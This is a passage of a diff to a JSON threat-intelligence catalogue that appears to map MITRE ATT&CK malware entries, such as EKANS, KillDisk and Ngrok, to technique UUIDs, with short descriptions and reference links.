"3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19395,7 +19033,14 @@ "type": "uses" }, { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19416,7 +19061,14 @@ "type": "uses" }, { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19430,7 +19082,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19450,13 +19102,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ @@ -19465,7 +19110,14 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19946,13 +19598,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", "tags": [ @@ -19961,7 +19606,7 @@ "type": "uses" }, { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19974,13 +19619,6 @@ ], "type": "uses" }, - { - "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ @@ -20003,14 +19641,28 @@ "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20031,7 +19683,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20052,7 +19704,14 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20181,7 +19840,7 @@ "value": "TEARDROP - S0560" }, { - "description": "[EKANS](https://attack.mitre.org/software/S0605) is ransomware variant written in Golang that first appeared in mid-December 2019 and has been used against multiple sectors, including energy, healthcare, and automotive manufacturing, which in some cases resulted in significant operational disruptions. [EKANS](https://attack.mitre.org/software/S0605) has used a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy, Honeywell HMIWeb, etc), similar to those defined in [MegaCortex](https://attack.mitre.org/software/S0576).(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)", + "description": "[EKANS](https://attack.mitre.org/software/S0605) is ransomware variant that first appeared in mid-December 2019. [EKANS](https://attack.mitre.org/software/S0605) is distinct from other ransomware as it was written in Golang and aims to stop services and processes related to Industrial Control Systems.(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)", "meta": { "external_id": "S0605", "mitre_platforms": [ @@ -20283,7 +19942,14 @@ }, "related": [ { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20303,6 +19969,13 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -20311,7 +19984,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20331,20 +20004,6 @@ ], "type": "uses" }, - { - "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -20358,6 +20017,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "f666e17c-b290-43b3-8947-b96bd5148fbb", @@ -21003,14 +20676,14 @@ }, "related": [ { - "dest-uuid": "16d73b64-5681-4ea0-9af4-4ad86f7c96e8", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21023,6 +20696,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -21030,6 +20710,13 @@ ], "type": "uses" }, + { + "dest-uuid": "8197f026-64da-4700-93b9-b55ba55f3b31", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -21038,7 +20725,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21059,7 +20746,7 @@ "type": "uses" }, { - "dest-uuid": "e422b6fa-4739-46b9-992e-82f1b350c780", + "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21160,7 +20847,7 @@ "value": "SslMM - S0058" }, { - "description": "[Ngrok](https://attack.mitre.org/software/S0508) is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. [Ngrok](https://attack.mitre.org/software/S0508) has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration.(Citation: Zdnet Ngrok September 2018)(Citation: FireEye Maze May 2020)(Citation: Cyware Ngrok May 2019)(Citation: MalwareBytes LazyScripter Feb 2021)", + "description": "[Ngrok](https://attack.mitre.org/software/S0508) is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. [Ngrok](https://attack.mitre.org/software/S0508) has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration.(Citation: Zdnet Ngrok September 2018)(Citation: FireEye Maze May 2020)(Citation: Cyware Ngrok May 2019)", "meta": { "external_id": "S0508", "mitre_platforms": [ @@ -21170,7 +20857,6 @@ "https://attack.mitre.org/software/S0508", "https://cyware.com/news/cyber-attackers-leverage-tunneling-service-to-drop-lokibot-onto-victims-systems-6f610e44", "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", - "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "https://www.zdnet.com/article/sly-malware-author-hides-cryptomining-botnet-behind-ever-shifting-proxy-service/" ], "synonyms": [ @@ -21241,21 +20927,21 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21268,6 +20954,20 @@ ], "type": "uses" }, + { + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", "tags": [ @@ -21276,7 +20976,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21296,20 +20996,6 @@ ], "type": "uses" }, - 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], - "type": "uses" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dc31fe1e-d722-49da-8f5f-92c7b5aff534", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "fde19a18-e502-467f-be14-58c71b4e7f4b", - "value": "WarzoneRAT - S0670" - }, { "description": "[KillDisk](https://attack.mitre.org/software/S0607) is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of [BlackEnergy](https://attack.mitre.org/software/S0089) malware during cyber attacks against Ukraine in 2015. [KillDisk](https://attack.mitre.org/software/S0607) has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](https://attack.mitre.org/software/S0607) variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)", "meta": { @@ -21989,13 +21206,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", "tags": [ @@ -22224,103 +21434,6 @@ "uuid": "58eddbaf-7416-419a-ad7b-e65b9d4c3b55", "value": "Conficker - S0608" }, - { - "description": "[LitePower](https://attack.mitre.org/software/S0680) is a downloader and second stage malware that has been used by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021.(Citation: Kaspersky WIRTE November 2021)", - "meta": { - "external_id": "S0680", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0680", - "https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044" - ], - "synonyms": [ - "LitePower" - ] - }, - "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "9020f5c7-efde-4125-a4f1-1b70f1274ddd", - "value": "LitePower - S0680" - }, { "description": "[ZLib](https://attack.mitre.org/software/S0086) is a full-featured backdoor that was used as a second-stage implant by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. (Citation: Cylance Dust Storm)", "meta": { @@ -22330,7 +21443,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0086", - "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf" + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" ], "synonyms": [ "ZLib" @@ -22693,6 +21806,9 @@ "refs": [ "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/", "https://attack.mitre.org/software/S0079" + ], + "synonyms": [ + "MobileOrder" ] }, "related": [ @@ -23345,9 +22461,15 @@ "description": "[TINYTYPHON](https://attack.mitre.org/software/S0131) is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)", "meta": { "external_id": "S0131", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0131", "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + ], + "synonyms": [ + "TINYTYPHON" ] }, "related": [ @@ -23511,6 +22633,13 @@ ], "type": "uses" }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -23538,13 +22667,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "37cc7eb6-12e3-467b-82e8-f20f2cc73c69", @@ -23554,12 +22676,26 @@ "description": "[YiSpecter](https://attack.mitre.org/software/S0311) iOS malware that affects both jailbroken and non-jailbroken iOS devices. It is also unique because it abuses private APIs in the iOS system to implement functionality. (Citation: PaloAlto-YiSpecter)", "meta": { "external_id": "S0311", + "mitre_platforms": [ + "iOS" + ], "refs": [ "https://attack.mitre.org/software/S0311", "https://researchcenter.paloaltonetworks.com/2015/10/yispecter-first-ios-malware-attacks-non-jailbroken-ios-devices-by-abusing-private-apis/" + ], + "synonyms": [ + "YiSpecter" ] }, - "related": [], + "related": [ + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], "uuid": "a15c9357-2be0-4836-beec-594f28b9b4a9", "value": "YiSpecter - S0311" }, @@ -23630,28 +22766,49 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "acf8fd2a-dc98-43b4-8d37-64e10728e591", + "dest-uuid": "60623164-ccd8-4508-a141-b5a34820b3de", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23665,14 +22822,7 @@ "type": "uses" }, { - "dest-uuid": "bb4387ab-7a51-468b-bf5f-a9a8612f0303", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23692,13 +22842,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ @@ -23707,21 +22850,21 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "fd211238-f767-4599-8c0d-9dca36624626", + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23735,9 +22878,15 @@ "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)", "meta": { "external_id": "S0151", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0151", "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + ], + "synonyms": [ + "HALFBAKED" ] }, "related": [ @@ -24707,7 +23856,7 @@ }, "related": [ { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24720,6 +23869,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -24921,14 +24077,20 @@ "description": "[HummingWhale](https://attack.mitre.org/software/S0321) is an Android malware family that performs ad fraud. (Citation: ArsTechnica-HummingWhale)", "meta": { "external_id": "S0321", + "mitre_platforms": [ + "Android" + ], "refs": [ "http://arstechnica.com/security/2017/01/virulent-android-malware-returns-gets-2-million-downloads-on-google-play/", "https://attack.mitre.org/software/S0321" + ], + "synonyms": [ + "HummingWhale" ] }, "related": [ { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24942,10 +24104,15 @@ "description": "[WireLurker](https://attack.mitre.org/software/S0312) is a family of macOS malware that targets iOS devices connected over USB. (Citation: PaloAlto-WireLurker)", "meta": { "external_id": "S0312", + "mitre_platforms": [ + "iOS" + ], "refs": [ "https://attack.mitre.org/software/S0312", - "https://researchcenter.paloaltonetworks.com/2014/11/wirelurker-new-era-os-x-ios-malware/", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf" + "https://researchcenter.paloaltonetworks.com/2014/11/wirelurker-new-era-os-x-ios-malware/" + ], + "synonyms": [ + "WireLurker" ] }, "related": [ @@ -25111,9 +24278,15 @@ "description": "[HAPPYWORK](https://attack.mitre.org/software/S0214) is a downloader used by [APT37](https://attack.mitre.org/groups/G0067) to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)", "meta": { "external_id": "S0214", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0214", "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + ], + "synonyms": [ + "HAPPYWORK" ] }, "related": [ @@ -25270,21 +24443,14 @@ "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25297,6 +24463,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", "tags": [ @@ -25304,6 +24477,20 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -25312,7 +24499,7 @@ "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25325,13 +24512,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -25346,13 +24526,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -25373,6 +24546,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "c19cfc89-5ac6-4d2d-a236-70d2b32e007c", @@ -25462,7 +24642,7 @@ "value": "Pisloader - S0124" }, { - "description": "[ZxShell](https://attack.mitre.org/software/S0412) is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014)", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014 )", "meta": { "external_id": "S0412", "mitre_platforms": [ @@ -25535,27 +24715,6 @@ ], "type": "uses" }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - 